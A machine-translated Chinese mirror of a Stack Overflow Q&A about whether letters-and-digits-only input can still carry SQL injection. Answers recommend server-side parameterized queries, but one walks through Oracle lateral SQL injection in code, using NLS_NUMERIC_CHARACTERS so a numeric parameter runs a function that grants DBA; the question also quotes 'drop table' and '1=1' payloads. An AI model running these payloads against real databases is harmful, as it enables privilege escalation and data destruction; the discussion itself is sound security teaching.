首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >只有字母和数字的字符串才能注入SQL语句

只有字母和数字的字符串才能注入SQL语句
EN

Stack Overflow用户
提问于 2018-07-08 23:40:11
回答 3查看 1.7K关注 0票数 2

我刚接触SQL注入,读过一些文章,很多黑客可能在他们的输入中使用';‘和空格’‘,例如:

(1) username = '123;drop table account‘

(2) username = '123和1=1‘

但问题是,如果我们只允许用户在客户端输入字母(大小写)和数字,不允许其他任何字符,如空格,分号是允许的,有没有任何字符串可以注入SQL语句?如果是这样的话,谁能给我举个例子?谢谢!

请注意,我不是问客户端是否可以阻止SQL注入,我只是想知道这样的字母和数字字符串是否只存在于进行SQL注入。

EN

回答 3

Stack Overflow用户

发布于 2018-07-08 23:55:33

首先,你在客户端做的任何事情都可以绕过。记住这一点的最简单方法是将“客户端”替换为“在攻击者的计算机上,他们可以完全控制该计算机”。

在网站的具体情况下,这可能和攻击者在浏览器上按下F12并编辑页面一样简单,也可能需要他们使用其他方法创建一个HTTP请求,但您最多只能在他们弄清楚之前让他们慢几分钟。您无法控制攻击者可以尝试发送给您的数据。

其次,我想不出一个只使用数字和非重音字符的攻击,但这并不意味着没有一个。另一方面,我想不出很多地方,以这种方式约束输入仍然可以产生有用的功能。基于白名单的验证(在服务器端)肯定有它的位置,但需要为每个场景提供正确的白名单,这使得它成为一种笨拙的安全机制。

因此,最好首先确保在使用数据的任何地方都使用正确的转义(转义总是关于输出/使用,而不是关于输入/源),并尽可能将数据与代码分开(例如,使用参数化查询,而不是将数据包含在SQL字符串中)。一旦你有了工作,基于白名单的验证可能是一个明智的额外步骤。

票数 3
EN

Stack Overflow用户

发布于 2018-07-09 01:45:18

我从你所有的评论中了解到的是,你在问这个:

是否可以在只允许用户输入数字和字符A到Z(大小写)的情况下进行注入?

换句话说,您的意思是为了进行SQL注入,用户需要能够输入诸如-'之类的字符,如Bobby Tables中使用以下恶意用户输入所演示的:

代码语言:javascript
复制
Robert'); DROP TABLE STUDENTS; --

Short Answer

是的,这是可能的。

Long Answer

您或我们可能认为无法仅使用数字进行SQL注入,但可能会有人足够聪明地找到一种方法。而且确实有人在甲骨文中找到了一种方法!

假设我们有这样的函数:

代码语言:javascript
复制
CREATE OR REPLACE FUNCTION P01
RETURN NUMBER
AUTHID current_user
IS
PRAGMA autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
RETURN 1;
END;

所以它非常简单:一个名为P01的函数,它将使scott成为dba。我们有没有办法在没有授予用户角色的特权的情况下执行这个功能呢?例如,如果您以非dba用户身份登录,并发出以下命令,则该命令将失败:

代码语言:javascript
复制
SET ROLE dba;

它将失败并产生以下错误:

代码语言:javascript
复制
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

黑客的目标

如何执行函数P01并使自己成为dba?

查找漏洞

下面是一个函数,它只接受一个数字参数,但我们将看到我们可以在这里进行SQL注入:

代码语言:javascript
复制
1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

该参数连接到sql语句的末尾。但为了进行连接,必须将其从数字转换为字符串。漏洞存在于Oracle引擎将数字转换为字符串的方式中。

根据this的说法,

在将数值转换为字符串时使用会话变量NLS_NUMERIC_CHARACTERS。NLS_NUMERIC_CHARACTERS的格式是一个字符串,其中第一个字符指定小数分隔符,第二个字符指定组分隔符。

如果我们发出这个查询:

代码语言:javascript
复制
SELECT TO_NUMBER('1.01', '0D00') FROM dual;

它会将字符串1.01转换为数字1.01。但是如果我们像这样改变NLS_NUMERIC_CHARACTERS

代码语言:javascript
复制
ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';

并发出这个查询:

代码语言:javascript
复制
SELECT TO_NUMBER('1P01', '0D00') FROM dual;

它会将字符串1P01转换为数字P01 (回想一下,P是十进制分隔符,因为我们将NLS_NUMERIC_CHARACTERS设置为P)。啊哈!它已经将它转换为P01,这恰好也是函数的名称,它是最终的goal...ok,更近一步。

黑客

即使用户没有权限,用户现在也可以执行以下操作:

代码语言:javascript
复制
EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));

作为复习,下面是SYS.NUM_PROC的代码:

代码语言:javascript
复制
1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

由于TO_NUMBER('P01', 'D00')将生成P01作为输出,因此stmt将分配以下内容:

代码语言:javascript
复制
select object_name from all_objects where object_id = 1P01

它将立即执行该语句,并执行1P01。目标实现了。Hack完成,用户现在是dba!

当然,我不够聪明,不能想出所有这些,我是从Lateral SQL Injection那里得到的信息。

票数 3
EN

Stack Overflow用户

发布于 2018-07-09 00:04:29

SQL注入的某些情况下使用十六进制编码来对筛选器隐藏字符串值。如果您的客户端代码只过滤了值包含字母和数字,那么仍然允许十六进制数字的长字符串,并且这可以在插入到SQL中时由您的服务器解码。

我同意@IMSoP的观点,你根本不应该依赖客户端代码。任何攻击者都可以修改客户端代码并绕过您编写的检查。最好在服务器端使用参数化查询。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/51233585

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档